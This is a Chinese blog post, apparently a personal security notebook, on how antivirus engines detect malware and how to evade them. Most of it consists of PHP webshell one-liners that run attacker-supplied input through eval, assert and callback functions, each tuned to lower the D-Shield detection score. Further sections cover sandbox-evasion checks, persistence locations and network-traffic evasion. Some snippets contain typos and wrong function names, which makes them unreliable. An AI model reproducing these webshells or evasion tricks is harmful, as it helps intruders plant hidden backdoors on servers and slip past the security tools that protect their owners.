AV主流查杀方式及免杀基础

杀毒软件主流查杀方式

静态查杀

在程序还未运行的时候查杀:读取文件内容,匹配字符特征

动态查杀

攻击者在攻击的时候,一般会存在某些特定的行为特征。当木马文件运行的时候出现这些特定的行为特征,就会被查杀

日志查杀

基于大量行为特征日志进行高度的总结和概括形成模型。当所查的文件特征与该模型契合的时候,就认定为木马。

静态免杀:

加密免杀

引用内容逃脱

<?php
	$a = $_GET['test'];
	$b = &$a;
	eval($b);
?>
    
    #该方法会被杀毒软件检测。

使用以下方法可以降低D盾查杀级别:

<?php
	$b = &$a;
	$a = $_GET['test'];
	eval($b);
?>
    
    
    #先将变量 $a 的地址赋值给变量 $b ,之后再给变量 $a 赋值为GET方法接受参数。再执行 $b
    #杀毒软件在静态运行的情况下无法得知后来变量 $a 又对其进行了赋值
    #使用该方法可以使D盾检测级别变为1。
    #说明:Eval后门 参数 $b 未知内容  可疑eval

使用回调函数免杀

动态调用:

<?php
    $func = 'as' . 'sert';
	$func($_GET['test']);
    ?>
        
        #该马不能免杀

使用回调函数

使用函数array_map

<?php
    $a = $_GET['test'];
	$fun = array($_GET['fun']);
	Array_map(base64_decode(fun),$a);
    ?>
#可以降低D盾查杀级别        

使用函数Filter_input

<?php
    Filter_input(INPUT_GET,'test',FILTER_CALLBACK,array('options' => 'assert'));
    ?>

引用函数免杀

<?php
    function func($a,$b){
    	return $a($b);
}
	$b = $_REQUEST['test'];
	$a = 'assert';
	func($a,$b);
    ?>

函数特征规避

<?php
    functioin func(){
    return $a($b);
}
$b = $_GET['test'];
$a = char(97).char(115).char(101).char(114).char(116);
func($a,$b);

动态免杀

通常这一步都是静态分析之后做的,部分杀毒软件会有沙盒

沙盒,也叫启发式查杀,通过模拟计算机的环境执行目标文件再观察特征行为

  • 沙盒模拟的常见特征:
    • 内存较小,不影响计算机正常运行
      • 针对此中,可以让病毒在计算机内存小于4G时,不执行病毒程序,否则,执行。
    • 时间较快,沙盒内置的时间速度比现实世界要快,提高查杀速度
      • C语言,有一个函数,判断一秒是不是一千毫秒
    • 进程或文件不完整,减少杀毒软件运行时对计算机的消耗
      • 判断计算机有没有20个以上的进程
      • payload调用一个根本不存在的文件,如果成功,则不执行下一步,如果不成功,则继续执行payload
    • io设备缺失,鼠标键盘等事件大部分沙盒都没有
      • 检测驱动、USB接口
      • 判断鼠标移动速度

总结:一台计算机和沙盒有何不同,然后再payload中加以判断

计算机相关

  • 服务
  • 注册表
  • 组策略
  • 防火墙
  • 敏感程序
    • cmd , powershell , wmi psexec , bitsadmin , rundll
  • 用户
    • 添加
    • 删除
    • 修改等
  • 文件夹
    • C:/windows/system32
    • C:/User/Administrator/AppData/Roaming/Microsoft/windows/Start Menu/Programs/Startup
    • C:/tmp【payload,APT武器库,样本再此文件夹创建临时文件】等敏感文件

常见绕过思路

白名单调用这些敏感行为,再导入恶意内容

加密推荐使用动态密钥,可以自定义的东西,而不是单纯的编码【非对称密钥】

网络相关

IP、域名、证书匹配

查找通讯的IP或域名是否之前存在攻击行为

流量内容

时间特征:扫描等

内容特征:data字段中是否存在命令相关关键词或关键词加密特征

结构特征:是否存在已知远控的通讯结构特征

常见绕过思路

tcp分段 免杀效果最好,但是如果网络连接不好容易断开连接

内容加密

使用合法证书

对编程语言的免杀

  • powershell : 混淆、加密
  • c++ : 编译过程、混淆、加密
  • python : 混淆、加密
  • 通用 : 启发式查杀
posted @   admin_luo  阅读(709)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示